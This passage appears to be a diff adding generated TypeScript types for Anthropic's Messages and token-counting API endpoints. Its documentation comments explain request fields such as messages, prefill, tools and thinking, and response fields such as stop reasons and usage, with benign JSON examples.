[models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description The reason that we stopped. + * + * This may be one the following values: + * * `"end_turn"`: the model reached a natural stopping point + * * `"max_tokens"`: we exceeded the requested `max_tokens` or the model's maximum + * * `"stop_sequence"`: one of your provided custom `stop_sequences` was generated + * * `"tool_use"`: the model invoked one or more tools + * * `"pause_turn"`: we paused a long-running turn. You may provide the response back as-is in a subsequent request to let the model continue. + * * `"refusal"`: when streaming classifiers intervene to handle potential policy violations + * * `"model_context_window_exceeded"`: we exceeded the model's context window + * + * In non-streaming mode this value is always non-null. In streaming mode, it is null in the `message_start` event and non-null otherwise. + */ + stop_reason: StopReasonKey | null + /** + * @description Which custom stop sequence was generated, if any. + * + * This value will be a non-null string if one of your custom stop sequences was generated. + * @default null + */ + stop_sequence: string | null + /** + * @description Structured information about why model output stopped. + * + * This is `null` when the `stop_reason` has no additional detail to report. + * @default null + */ + stop_details: RefusalStopDetails | null + /** + * @description Billing and rate-limit usage. + * + * Anthropic's API bills and rate-limits by token counts, as tokens represent the underlying cost to our systems. + * + * Under the hood, the API transforms requests into a format suitable for the model. The model's output then goes through a parsing stage before becoming an API response. As a result, the token counts in `usage` will not match one-to-one with the exact visible content of an API request or response. + * + * For example, `output_tokens` will be non-zero, even for an empty string response from Claude. + * + * Total input tokens in a request is the summation of `input_tokens`, `cache_creation_input_tokens`, and `cache_read_input_tokens`. + * @example {"input_tokens":2095,"output_tokens":503,"speed":"standard"} + * @type object + */ + usage: Usage + /** + * @description Request-level diagnostics. `null` when the request did not supply `diagnostics`, or when it did and no prompt-cache divergence was detected. + * @default null + */ + diagnostics: Diagnostics | null + /** + * @description Information about the container used in this request. + * + * This will be non-null if a container tool (e.g. code execution) was used. + * @default null + */ + container: Container | null +} + +export const anthropicPostV1MessagesRequestServiceTierEnum = { + auto: 'auto', + standard_only: 'standard_only', +} as const + +export type AnthropicPostV1MessagesRequestServiceTierEnumKey = + (typeof anthropicPostV1MessagesRequestServiceTierEnum)[keyof typeof anthropicPostV1MessagesRequestServiceTierEnum] + +/** + * @description The parameters of a request for the next message in a conversation. + * + * See the [Messages API guide](https://platform.claude.com/docs/en/build-with-claude/working-with-messages#basic-request-and-response) to learn more about requests and responses. + * @example {"max_tokens":1024,"messages":[{"content":"Hello, world","role":"user"}],"model":"claude-opus-5-5"} + * @type object + */ +export type AnthropicPostV1MessagesBody = { + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description Input messages. + * + * Our models are trained to operate on alternating `user` and `assistant` conversational turns. When creating a new `Message`, you specify the prior conversational turns with the `messages` parameter, and the model then generates the next `Message` in the conversation. Consecutive `user` or `assistant` turns in your request will be combined into a single turn. + * + * Each input message must be an object with a `role` and `content`. You can specify a single `user`-role message, or you can include multiple `user` and `assistant` messages. + * + * If the final message uses the `assistant` role, the response content will continue immediately from the content in that message. This can be used to constrain part of the model's response. This is called prefill. On models that don't support prefill, creating a message that ends with a partial `assistant` response returns a 400 error. See [Prefill not supported](https://platform.claude.com/docs/en/api/errors#prefill-not-supported). + * + * Example with a single `user` message: + * + * ```json + * [{"role": "user", "content": "Hello, Claude"}] + * ``` + * + * Example with multiple conversational turns: + * + * ```json + * [ + * {"role": "user", "content": "Hello there."}, + * {"role": "assistant", "content": "Hi, I'm Claude. How can I help you?"}, + * {"role": "user", "content": "Can you explain LLMs in plain English?"}, + * ] + * ``` + * + * Example with a partially-filled response from Claude, for models that support prefill: + * + * ```json + * [ + * {"role": "user", "content": "What's the Greek name for Sun? (A) Sol (B) Helios (C) Sun"}, + * {"role": "assistant", "content": "The best answer is ("}, + * ] + * ``` + * + * Each input message `content` may be either a single `string` or an array of content blocks, where each block has a specific `type`. Using a `string` for `content` is shorthand for an array of one content block of type `"text"`. The following input messages are equivalent: + * + * ```json + * {"role": "user", "content": "Hello, Claude"} + * ``` + * + * ```json + * {"role": "user", "content": [{"type": "text", "text": "Hello, Claude"}]} + * ``` + * + * See [input examples](https://platform.claude.com/docs/en/build-with-claude/working-with-messages). + * + * Note that if you want to include a [system prompt](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices#give-claude-a-role), you can use the top-level `system` parameter. + * + * There is a limit of 100,000 messages in a single request. + * @type array + */ + messages: InputMessageUnion[] + /** + * @description Top-level cache control automatically applies a cache_control marker to the last cacheable block in the request. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Container identifier for reuse across requests. + */ + container?: ContainerParams | string | null + /** + * @description Request-level diagnostics. Supply `previous_message_id` to have the response include `diagnostics.cache_miss_reason` explaining any prompt-cache divergence from that prior request. + */ + diagnostics?: DiagnosticsParam | null + /** + * @description Specifies the geographic region for inference processing. If not specified, the workspace's `default_inference_geo` is used. + */ + inference_geo?: string | null + /** + * @description The maximum number of tokens to generate before stopping. + * + * Note that our models may stop _before_ reaching this maximum. This parameter only specifies the absolute maximum number of tokens to generate. + * + * Set to `0` to populate the [prompt cache](https://platform.claude.com/docs/en/build-with-claude/prompt-caching#pre-warming-the-cache) without generating a response. + * + * Different models have different maximum values for this parameter. See [models](https://platform.claude.com/docs/en/about-claude/models/overview) for details. + * @minimum 0 + * @example 1024 + * @type integer + */ + max_tokens: number + /** + * @description An object describing metadata about the request. + * @type object | undefined + */ + metadata?: Metadata + /** + * @description Configuration options for the model's output, such as the output format. + * @type object | undefined + */ + output_config?: OutputConfig + /** + * @description Determines whether to use priority capacity (if available) or standard capacity for this request. + * + * Anthropic offers different levels of service for your API requests. See [service-tiers](https://platform.claude.com/docs/en/api/service-tiers) for details. + * @type string | undefined + */ + service_tier?: AnthropicPostV1MessagesRequestServiceTierEnumKey + /** + * @description The inference speed mode for this request. `"fast"` enables high output-tokens-per-second inference. + * + * Some models require the `fast-mode-2026-02-01` beta header for any `speed` value. See [fast mode](https://platform.claude.com/docs/en/build-with-claude/fast-mode) for which models. + */ + speed?: SpeedKey | null + /** + * @description Custom text sequences that will cause the model to stop generating. + * + * Our models will normally stop when they have naturally completed their turn, which will result in a response `stop_reason` of `"end_turn"`. + * + * If you want the model to stop generating when it encounters custom strings of text, you can use the `stop_sequences` parameter. If the model encounters one of the custom sequences, the response `stop_reason` value will be `"stop_sequence"` and the response `stop_sequence` value will contain the matched stop sequence. + * @type array | undefined + */ + stop_sequences?: string[] + /** + * @description Whether to incrementally stream the response using server-sent events. When `true`, SDKs return a raw event stream. + * + * In the TypeScript, Python and Ruby SDKs, the recommended way to stream is `messages.stream()`. It sets `stream` for you and accumulates the events into the final message. See [Streaming with SDKs](https://platform.claude.com/docs/en/build-with-claude/streaming#streaming-with-sdks) for an example in each language. + * @example false + * @type boolean | undefined + */ + stream?: boolean + /** + * @description System prompt. + * + * A system prompt is a way of providing context and instructions to Claude, such as specifying a particular goal or role. See our [guide to system prompts](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices#give-claude-a-role). + * @example [{"text":"Today's date is 2024-06-01.","type":"text"}] + * @example Today's date is 2023-01-01. + */ + system?: string | RequestTextBlock[] + /** + * @description Configuration for Claude's thinking. + * + * With `{"type": "adaptive"}`, Claude decides when and how much to think. With `{"type": "enabled"}` (manual extended thinking), you set a `budget_tokens` of at least 1,024. Thinking tokens count toward your `max_tokens` limit. + * + * Which `type` values are accepted, and what happens when you omit `thinking`, depend on the model. See [thinking](https://platform.claude.com/docs/en/build-with-claude/thinking#configuring-thinking) for each model's behavior. + * @example {"type":"adaptive"} + */ + thinking?: ThinkingConfigParam + /** + * @description How the model should use the provided tools. The model can use a specific tool, any available tool, decide by itself, or not use tools at all. + */ + tool_choice?: ToolChoice + /** + * @description Definitions of tools that the model may use. + * + * If you include `tools` in your API request, the model may return `tool_use` content blocks that represent the model's use of those tools. You can then run those tools using the tool input generated by the model and then optionally return results back to the model using `tool_result` content blocks. + * + * There are two types of tools: **client tools** and **server tools**. The behavior described below applies to client tools. For [server tools](https://platform.claude.com/docs/en/agents-and-tools/tool-use/server-tools), see their individual documentation as each has its own behavior (e.g., the [web search tool](https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool)). + * + * Each tool definition includes: + * + * * `name`: Name of the tool. + * * `description`: Optional, but strongly-recommended description of the tool. + * * `input_schema`: [JSON schema](https://json-schema.org/draft/2020-12) for the tool `input` shape that the model will produce in `tool_use` output content blocks. + * + * For example, if you defined `tools` as: + * + * ```json + * [ + * { + * "name": "get_stock_price", + * "description": "Get the current stock price for a given ticker symbol.", + * "input_schema": { + * "type": "object", + * "properties": { + * "ticker": { + * "type": "string", + * "description": "The stock ticker symbol, e.g. AAPL for Apple Inc." + * } + * }, + * "required": ["ticker"] + * } + * } + * ] + * ``` + * + * And then asked the model "What's the S&P 500 at today?", the model might produce `tool_use` content blocks in the response like this: + * + * ```json + * [ + * { + * "type": "tool_use", + * "id": "toolu_01D7FLrfh4GYq7yT1ULFeyMV", + * "name": "get_stock_price", + * "input": { "ticker": "^GSPC" } + * } + * ] + * ``` + * + * You might then run your `get_stock_price` tool with `{"ticker": "^GSPC"}` as an input, and return the following back to the model in a subsequent `user` message: + * + * ```json + * [ + * { + * "type": "tool_result", + * "tool_use_id": "toolu_01D7FLrfh4GYq7yT1ULFeyMV", + * "content": "259.75 USD" + * } + * ] + * ``` + * + * Tools can be used for workflows that include running client-side tools and functions, or more generally whenever you want the model to produce a particular JSON structure of output. + * + * See our [guide](https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview) for more details. + * @example {"description":"Get the current weather in a given location","input_schema":{"properties":{"location":{"description":"The city and state, e.g. San Francisco, CA","type":"string"},"unit":{"description":"Unit for the output - one of (celsius, fahrenheit)","type":"string"}},"required":["location"],"type":"object"},"name":"get_weather"} + * @type array | undefined + */ + tools?: ( + | Tool + | BashTool20250124 + | CodeExecutionTool20250522 + | CodeExecutionTool20250825 + | CodeExecutionTool20260120 + | CodeExecutionTool20260521 + | BrowserToolset20260801 + | MemoryTool20250818 + | ComputerToolset20260801 + | TextEditor20250124 + | TextEditor20250429 + | TextEditor20250728 + | WebSearchTool20250305 + | WebFetchTool20250910 + | WebSearchTool20260209 + | WebFetchTool20260209 + | WebFetchTool20260309 + | WebSearchTool20260318 + | WebFetchTool20260318 + | ToolSearchToolBM2520251119 + | ToolSearchToolRegex20251119 + )[] +} + +export type AnthropicPostV1MessagesOptions = { + body: AnthropicPostV1MessagesBody + path?: never + query?: never + headers: AnthropicPostV1MessagesHeaders +} + +export type AnthropicPostV1MessagesResponses = { + '200': AnthropicPostV1MessagesStatus200 +} + +/** + * @description Union of all possible responses + */ +export type AnthropicPostV1MessagesResponse = AnthropicPostV1MessagesStatus200 + +export type AnthropicPostV1MessagesCountTokensHeaders = { + 'anthropic-version': '2023-06-01' +} + +/** + * @example {"input_tokens":2095} + * @type object + */ +export type AnthropicPostV1MessagesCountTokensStatus200 = { + /** + * @description The total number of tokens across the provided list of messages, system prompt, and tools. + * @example 2095 + * @type integer + */ + input_tokens: number +} + +/** + * @example {"messages":[{"content":"Hello, world","role":"user"}],"model":"claude-opus-5-5"} + * @type object + */ +export type AnthropicPostV1MessagesCountTokensBody = { + /** + * @description Top-level cache control automatically applies a cache_control marker to the last cacheable block in the request. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Input messages. + * + * Our models are trained to operate on alternating `user` and `assistant` conversational turns. When creating a new `Message`, you specify the prior conversational turns with the `messages` parameter, and the model then generates the next `Message` in the conversation. Consecutive `user` or `assistant` turns in your request will be combined into a single turn. + * + * Each input message must be an object with a `role` and `content`. You can specify a single `user`-role message, or you can include multiple `user` and `assistant` messages. + * + * If the final message uses the `assistant` role, the response content will continue immediately from the content in that message. This can be used to constrain part of the model's response. This is called prefill. On models that don't support prefill, creating a message that ends with a partial `assistant` response returns a 400 error. See [Prefill not supported](https://platform.claude.com/docs/en/api/errors#prefill-not-supported). + * + * Example with a single `user` message: + * + * ```json + * [{"role": "user", "content": "Hello, Claude"}] + * ``` + * + * Example with multiple conversational turns: + * + * ```json + * [ + * {"role": "user", "content": "Hello there."}, + * {"role": "assistant", "content": "Hi, I'm Claude. How can I help you?"}, + * {"role": "user", "content": "Can you explain LLMs in plain English?"}, + * ] + * ``` + * + * Example with a partially-filled response from Claude, for models that support prefill: + * + * ```json + * [ + * {"role": "user", "content": "What's the Greek name for Sun? (A) Sol (B) Helios (C) Sun"}, + * {"role": "assistant", "content": "The best answer is ("}, + * ] + * ``` + * + * Each input message `content` may be either a single `string` or an array of content blocks, where each block has a specific `type`. Using a `string` for `content` is shorthand for an array of one content block of type `"text"`. The following input messages are equivalent: + * + * ```json + * {"role": "user", "content": "Hello, Claude"} + * ``` + * + * ```json + * {"role": "user", "content": [{"type": "text", "text": "Hello, Claude"}]} + * ``` + * + * See [input examples](https://platform.claude.com/docs/en/build-with-claude/working-with-messages). + * + * Note that if you want to include a [system prompt](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices#give-claude-a-role), you can use the top-level `system` parameter. + * + * There is a limit of 100,000 messages in a single request. + * @type array + */ + messages: InputMessageUnion[] + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description Configuration options for the model's output, such as the output format. + * @type object | undefined + */ + output_config?: OutputConfig + /** + * @description The inference speed mode for this request. `"fast"` enables high output-tokens-per-second inference. + * + * Some models require the `fast-mode-2026-02-01` beta header for any `speed` value. See [fast mode](https://platform.claude.com/docs/en/build-with-claude/fast-mode) for which models. + */ + speed?: SpeedKey | null + /** + * @description System prompt. + * + * A system prompt is a way of providing context and instructions to Claude, such as specifying a particular goal or role. See our [guide to system prompts](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices#give-claude-a-role). + * @example [{"text":"Today's date is 2024-06-01.","type":"text"}] + * @example Today's date is 2023-01-01. + */ + system?: string | RequestTextBlock[] + /** + * @description Configuration for Claude's thinking. + * + * With `{"type": "adaptive"}`, Claude decides when and how much to think. With `{"type": "enabled"}` (manual extended thinking), you set a `budget_tokens` of at least 1,024. Thinking tokens count toward your `max_tokens` limit. + * + * Which `type` values are accepted, and what happens when you omit `thinking`, depend on the model. See [thinking](https://platform.claude.com/docs/en/build-with-claude/thinking#configuring-thinking) for each model's behavior. + * @example {"type":"adaptive"} + */ + thinking?: ThinkingConfigParam + /** + * @description How the model should use the provided tools. The model can use a specific tool, any available tool, decide by itself, or not use tools at all. + */ + tool_choice?: ToolChoice + /** + * @description Definitions of tools that the model may use. + * + * If you include `tools` in your API request, the model may return `tool_use` content blocks that represent the model's use of those tools. You can then run those tools using the tool input generated by the model and then optionally return results back to the model using `tool_result` content blocks. + * + * There are two types of tools: **client tools** and **server tools**. The behavior described below applies to client tools. For [server tools](https://platform.claude.com/docs/en/agents-and-tools/tool-use/server-tools), see their individual documentation as each has its own behavior (e.g., the [web search tool](https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool)). + * + * Each tool definition includes: + * + * * `name`: Name of the tool. + * * `description`: Optional, but strongly-recommended description of the tool. + * * `input_schema`: [JSON schema](https://json-schema.org/draft/2020-12) for the tool `input` shape that the model will produce in `tool_use` output content blocks. + * + * For example, if you defined `tools` as: + * + * ```json + * [ + * { + * "name": "get_stock_price", + * "description": "Get the current stock price for a given ticker symbol.", + * "input_schema": { + * "type": "object", + * "properties": { + * "ticker": { + * "type": "string", + * "description": "The stock ticker symbol, e.g. AAPL for Apple Inc." + * } + * }, + * "required": ["ticker"] + * } + * } + * ] + * ``` + * + * And then asked the model "What's the S&P 500 at today?", the model might produce `tool_use` content blocks in the response like this: + * + * ```json + * [ + * { + * "type": "tool_use", + * "id": "toolu_01D7FLrfh4GYq7yT1ULFeyMV", + * "name": "get_stock_price", + * "input": { "ticker": "^GSPC" } + * } + * ] + * ``` + * + * You might then run your `get_stock_price` tool with `{"ticker": "^GSPC"}` as an input, and return the following back to the model in a subsequent `user` message: + * + * ```json + * [ + * { + * "type": "tool_result", + * "tool_use_id": "toolu_01D7FLrfh4GYq7yT1ULFeyMV", + * "content": "259.75 USD" + * } + * ] + * ``` + * + * Tools can be used for workflows that include running client-side tools and functions, or more generally whenever you want the model to produce a particular JSON structure of output. + * + * See our [guide](https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview) for more details. + * @example {"description":"Get the current weather in a given location","input_schema":{"properties":{"location":{"description":"The city and state, e.g. San Francisco, CA","type":"string"},"unit":{"description":"Unit for the output - one of (celsius, fahrenheit)","type":"string"}},"required":["location"],"type":"object"},"name":"get_weather"} + * @type array | undefined + */ + tools?: ( + | Tool + | BashTool20250124 + | CodeExecutionTool20250522 + | CodeExecutionTool20250825 + | CodeExecutionTool20260120 + | CodeExecutionTool20260521 + | BrowserToolset20260801 + | MemoryTool20250818 + | ComputerToolset20260801 + | TextEditor20250124 + | TextEditor20250429 + | TextEditor20250728 + | WebSearchTool20250305 + | WebFetchTool20250910 + | WebSearchTool20260209 + | WebFetchTool20260209 + | WebFetchTool20260309 + | WebSearchTool20260318 + | WebFetchTool20260318 + | ToolSearchToolBM2520251119 + | ToolSearchToolRegex20251119 + )[] +} + +export type AnthropicPostV1MessagesCountTokensOptions = { + body: AnthropicPostV1MessagesCountTokensBody + path?: never + query?: never + headers: AnthropicPostV1MessagesCountTokensHeaders +} + +export type AnthropicPostV1MessagesCountTokensResponses = { + '200': AnthropicPostV1MessagesCountTokensStatus200 +} + +/** + * @description Union of all possible responses + */ +export type AnthropicPostV1MessagesCountTokensResponse = + AnthropicPostV1MessagesCountTokensStatus200 + +export type AnthropicPostV1MessagesCountTokensBetaTrueHeaders = { + 'anthropic-version': '2023-06-01' +} + +/** + * @example {"input_tokens":2095} + * @type object + */ +export type AnthropicPostV1MessagesCountTokensBetaTrueStatus200 = { + /** + * @description Information about context management applied to the message. + */ + context_management: BetaContextManagementResponse | null + /** + * @description The total number of tokens across the provided list of messages, system prompt, and tools. + * @example 2095 + * @type integer + */ + input_tokens: number +} + +/** + * @example {"messages":[{"content":"Hello, world","role":"user"}],"model":"claude-opus-5-5"} + * @type object + */ +export type AnthropicPostV1MessagesCountTokensBetaTrueBody = { + /** + * @description Top-level cache control automatically applies a cache_control marker to the last cacheable block in the request. + */ + cache_control?: + | (BetaCacheControlEphemeral & { + type: 'ephemeral' + }) + | null + /** + * @description Compaction configuration. + * + * When set on `POST /v1/messages`, the request is a compaction request: the conversation in `messages` is summarized and the response holds only the resulting `compaction` block (`stop_reason` `"compaction"`), which later requests send first in `messages` in place of the messages it summarizes. `POST /v1/messages/count_tokens` accepts this parameter and ignores it: the count it returns is for the conversation in `messages` as sent. Cannot be combined with `context_management`. + */ + compaction?: BetaCompactionConfig | null + /** + * @description Context management configuration. + * + * This allows you to control how Claude manages context across multiple requests, such as whether to clear function results or not. + */ + context_management?: BetaContextManagementConfig | null + /** + * @description MCP servers to be utilized in this request + * @type array | undefined + */ + mcp_servers?: BetaRequestMCPServerURLDefinition[] + /** + * @description Input messages. + * + * Our models are trained to operate on alternating `user` and `assistant` conversational turns. When creating a new `Message`, you specify the prior conversational turns with the `messages` parameter, and the model then generates the next `Message` in the conversation. Consecutive `user` or `assistant` turns in your request will be combined into a single turn. + * + * Each input message must be an object with a `role` and `content`. You can specify a single `user`-role message, or you can include multiple `user` and `assistant` messages. + * + * If the final message uses the `assistant` role, the response content will continue immediately from the content in that message. This can be used to constrain part of the model's response. This is called prefill. On models that don't support prefill, creating a message that ends with a partial `assistant` response returns a 400 error. See [Prefill not supported](https://platform.claude.com/docs/en/api/errors#prefill-not-supported). + * + * Example with a single `user` message: + * + * ```json + * [{"role": "user", "content": "Hello, Claude"}] + * ``` + * + * Example with multiple conversational turns: + * + * ```json + * [ + * {"role": "user", "content": "Hello there."}, + * {"role": "assistant", "content": "Hi, I'm Claude. How can I help you?"}, + * {"role": "user", "content": "Can you explain LLMs in plain English?"}, + * ] + * ``` + * + * Example with a partially-filled response from Claude, for models that support prefill: + * + * ```json + * [ + * {"role": "user", "content": "What's the Greek name for Sun? (A) Sol (B) Helios (C) Sun"}, + * {"role": "assistant", "content": "The best answer is ("}, + * ] + * ``` + * + * Each input message `content` may be either a single `string` or an array of content blocks, where each block has a specific `type`. Using a `string` for `content` is shorthand for an array of one content block of type `"text"`. The following input messages are equivalent: + * + * ```json + * {"role": "user", "content": "Hello, Claude"} + * ``` + * + * ```json + * {"role": "user", "content": [{"type": "text", "text": "Hello, Claude"}]} + * ``` + * + * See [input examples](https://platform.claude.com/docs/en/build-with-claude/working-with-messages). + * + * Note that if you want to include a [system prompt](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices#give-claude-a-role), you can use the top-level `system` parameter. + * + * There is a limit of 100,000 messages in a single request. + * @type array + */ + messages: BetaInputMessageUnion[] + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description Configuration options for the model's output, such as the output format. + * @type object | undefined + */ + output_config?: BetaOutputConfig + /** + * @description Deprecated: Use `output_config.format` instead. See [structured outputs](https://platform.claude.com/docs/en/build-with-claude/structured-outputs) + * + * A schema to specify Claude's output format in responses. This parameter will be removed in a future release. + * @deprecated + */ + output_format?: BetaJsonOutputFormat | null + /** + * @description The inference speed mode for this request. `"fast"` enables high output-tokens-per-second inference. + * + * Some models require the `fast-mode-2026-02-01` beta header for any `speed` value. See [fast mode](https://platform.claude.com/docs/en/build-with-claude/fast-mode) for which models. + */ + speed?: BetaSpeedKey | null + /** + * @description System prompt. + * + * A system prompt is a way of providing context and instructions to Claude, such as specifying a particular goal or role. See our [guide to system prompts](https://platform.claude.com/docs/en/build-with-claude/prompt-engineering/claude-prompting-best-practices#give-claude-a-role). + * @example [{"text":"Today's date is 2024-06-01.","type":"text"}] + * @example Today's date is 2023-01-01. + */ + system?: string | BetaRequestTextBlock[] + /** + * @description Configuration for Claude's thinking. + * + * With `{"type": "adaptive"}`, Claude decides when and how much to think. With `{"type": "enabled"}` (manual extended thinking), you set a `budget_tokens` of at least 1,024. Thinking tokens count toward your `max_tokens` limit. + * + * Which `type` values are accepted, and what happens when you omit `thinking`, depend on the model. See [thinking](https://platform.claude.com/docs/en/build-with-claude/thinking#configuring-thinking) for each model's behavior. + * @example {"type":"adaptive"} + */ + thinking?: BetaThinkingConfigParam + /** + * @description How the model should use the provided tools. The model can use a specific tool, any available tool, decide by itself, or not use tools at all. + */ + tool_choice?: BetaToolChoice + /** + * @description Definitions of tools that the model may use. + * + * If you include `tools` in your API request, the model may return `tool_use` content blocks that represent the model's use of those tools. You can then run those tools using the tool input generated by the model and then optionally return results back to the model using `tool_result` content blocks. + * + * There are two types of tools: **client tools** and **server tools**. The behavior described below applies to client tools. For [server tools](https://platform.claude.com/docs/en/agents-and-tools/tool-use/server-tools), see their individual documentation as each has its own behavior (e.g., the [web search tool](https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool)). + * + * Each tool definition includes: + * + * * `name`: Name of the tool. + * * `description`: Optional, but strongly-recommended description of the tool. + * * `input_schema`: [JSON schema](https://json-schema.org/draft/2020-12) for the tool `input` shape that the model will produce in `tool_use` output content blocks. + * + * For example, if you defined `tools` as: + * + * ```json + * [ + * { + * "name": "get_stock_price", + * "description": "Get the current stock price for a given ticker symbol.", + * "input_schema": { + * "type": "object", + * "properties": { + * "ticker": { + * "type": "string", + * "description": "The stock ticker symbol, e.g. AAPL for Apple Inc." + * } + * }, + * "required": ["ticker"] + * } + * } + * ] + * ``` + * + * And then asked the model "What's the S&P 500 at today?", the model might produce `tool_use` content blocks in the response like this: + * + * ```json + * [ + * { + * "type": "tool_use", + * "id": "toolu_01D7FLrfh4GYq7yT1ULFeyMV", + * "name": "get_stock_price", + * "input": { "ticker": "^GSPC" } + * } + * ] + * ``` + * + * You might then run your `get_stock_price` tool with `{"ticker": "^GSPC"}` as an input, and return the following back to the model in a subsequent `user` message: + * + * ```json + * [ + * { + * "type": "tool_result", + * "tool_use_id": "toolu_01D7FLrfh4GYq7yT1ULFeyMV", + * "content": "259.75 USD" + * } + * ] + * ``` + * + * Tools can be used for workflows that include running client-side tools and functions, or more generally whenever you want the model to produce a particular JSON structure of output. + * + * See our [guide](https://platform.claude.com/docs/en/agents-and-tools/tool-use/overview) for more details. + * @example {"description":"Get the current weather in a given location","input_schema":{"properties":{"location":{"description":"The city and state, e.g. San Francisco, CA","type":"string"},"unit":{"description":"Unit for the output - one of (celsius, fahrenheit)","type":"string"}},"required":["location"],"type":"object"},"name":"get_weather"} + * @type array | undefined + */ + tools?: ( + | BetaTool + | BetaBashTool20241022 + | BetaBashTool20250124 + | BetaCodeExecutionTool20250522 + | BetaCodeExecutionTool20250825 + | BetaCodeExecutionTool20260120 + | BetaCodeExecutionTool20260521 + | BetaBrowserToolset20260801 + | BetaComputerUseTool20241022 + | BetaMemoryTool20250818 + | BetaComputerUseTool20250124 + | BetaTextEditor20241022 + | BetaComputerUseTool20251124 + | BetaComputerToolset20260801 + | BetaTextEditor20250124 + | BetaTextEditor20250429 + | BetaTextEditor20250728 + | BetaWebSearchTool20250305 + | BetaWebFetchTool20250910 + | BetaWebSearchTool20260209 + | BetaWebFetchTool20260209 + | BetaWebFetchTool20260309 + | BetaWebSearchTool20260318 + | BetaWebFetchTool20260318 + | BetaAdvisorTool20260301 + | BetaToolSearchToolBM2520251119 + | BetaToolSearchToolRegex20251119 + | BetaMCPToolset + )[] +} + +export type AnthropicPostV1MessagesCountTokensBetaTrueOptions = { + body: AnthropicPostV1MessagesCountTokensBetaTrueBody + path?: never + query?: never + headers: AnthropicPostV1MessagesCountTokensBetaTrueHeaders +} + +export type AnthropicPostV1MessagesCountTokensBetaTrueResponses = { + '200': AnthropicPostV1MessagesCountTokensBetaTrueStatus200 +} + +/** + * @description Union of all possible responses + */ +export type AnthropicPostV1MessagesCountTokensBetaTrueResponse = + AnthropicPostV1MessagesCountTokensBetaTrueStatus200 + +export type AnthropicPostV1MessagesBetaTrueHeaders = { + 'anthropic-version': '2023-06-01' +} + +/** + * @example {"content":[{"citations":null,"text":"Hi! My name is Claude.","type":"text"}],"diagnostics":null,"id":"msg_013Zva2CMHLNnXjNJJKqJ2EF","model":"claude-opus-5-5","role":"assistant","stop_details":null,"stop_reason":"end_turn","stop_sequence":null,"type":"message","usage":{"input_tokens":2095,"output_tokens":503,"speed":"standard"}} + * @type object + */ +export type AnthropicPostV1MessagesBetaTrueStatus200 = { + /** + * @description Unique object identifier. + * + * The format and length of IDs may change over time. + * @example msg_013Zva2CMHLNnXjNJJKqJ2EF + * @type string + */ + id: string + /** + * @description Object type. + * + * For Messages, this is always `"message"`. + * @default 'message' + * @type string + */ + type: 'message' + /** + * @description Conversational role of the generated message. + * + * This will always be `"assistant"`. + * @default 'assistant' + * @type string + */ + role: 'assistant' + /** + * @description Content generated by the model. + * + * This is an array of content blocks, each of which has a `type` that determines its shape. + * + * Example: + * + * ```json + * [{"type": "text", "text": "Hi, I'm Claude."}] + * ``` + * + * If the request input `messages` ended with an `assistant` turn, then the response `content` will continue directly from that last turn. You can use this to constrain the model's output. + * + * For example, if the input `messages` were: + * ```json + * [ + * {"role": "user", "content": "What's the Greek name for Sun? (A) Sol (B) Helios (C) Sun"}, + * {"role": "assistant", "content": "The best answer is ("} + * ] + * ``` + * + * Then the response `content` might be: + * + * ```json + * [{"type": "text", "text": "B)"}] + * ``` + * @example [{"citations":null,"text":"Hi! My name is Claude.","type":"text"}] + * @type array + */ + content: BetaContentBlock[] + /** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ + model: Model + /** + * @description The reason that we stopped. + * + * This may be one the following values: + * * `"end_turn"`: the model reached a natural stopping point + * * `"max_tokens"`: we exceeded the requested `max_tokens` or the model's maximum + * * `"stop_sequence"`: one of your provided custom `stop_sequences` was generated + * * `"tool_use"`: the model invoked one or more tools + * * `"pause_turn"`: we paused a long-running turn. You may provide the response back as-is in a subsequent request to let the model continue. + * * `"refusal"`: when streaming classifiers intervene to handle potential policy violations + * * `"model_context_window_exceeded"`: we exceeded the model's context window + * + * In non-streaming mode this value is always non-null. In streaming mode, it is null in the `message_start` event and non-null otherwise. + */ + stop_reason: BetaStopReasonKey | null + /** + * @description Which custom stop sequence was generated, if any. + * + * This value will be a non-null string if one of your custom stop sequences was generated. + * @default null + */ + stop_sequence: string | null + /** + * @description Structured information about why model output stopped. + * + * This is `null` when the `stop_reason` has no additional detail to report. + * @default null + */ + stop_details: BetaRefusalStopDetails | null + /** + * @description Billing and rate-limit usage. + * + * Anthropic's API bills and rate-limits by token counts, as tokens represent the underlying cost to our systems. + * + * Under the hood, the API transforms requests into a format suitable for the model. The model's output then goes through a parsing stage before becoming an API response. As a result, the token counts in `usage` will not match one-to-one with the exact visible content of an API request or response. + * + * For example, `output_tokens` will be non-zero, even for an empty string response from Claude. + * + * Total input tokens in a request is the summation of `input_tokens`, `cache_creation_input_tokens`, and `cache_read_input_tokens`. + * @example {"input_tokens":2095,"output_tokens":503,"speed":"standard"} + * @type object + */ + usage: BetaUsage + /** + * @description Changes the API made to the request's input before showing it to the model, + * and blocks that failed a binding check but were left unchanged: one entry per + * block, in request order. Two entry types today. `thinking_dropped` — a + * `thinking`, `redacted_thinking` or `connector_text` block from the request's + * `messages` that was removed from the prompt instead of being shown to the + * model because it failed a binding check. `thinking_mismatch_allowed` — a + * `thinking` or `redacted_thinking` block that failed the conversation check + * (the conversation before it differs from the one it was created in, or it + * carries no record of one on a model that requires 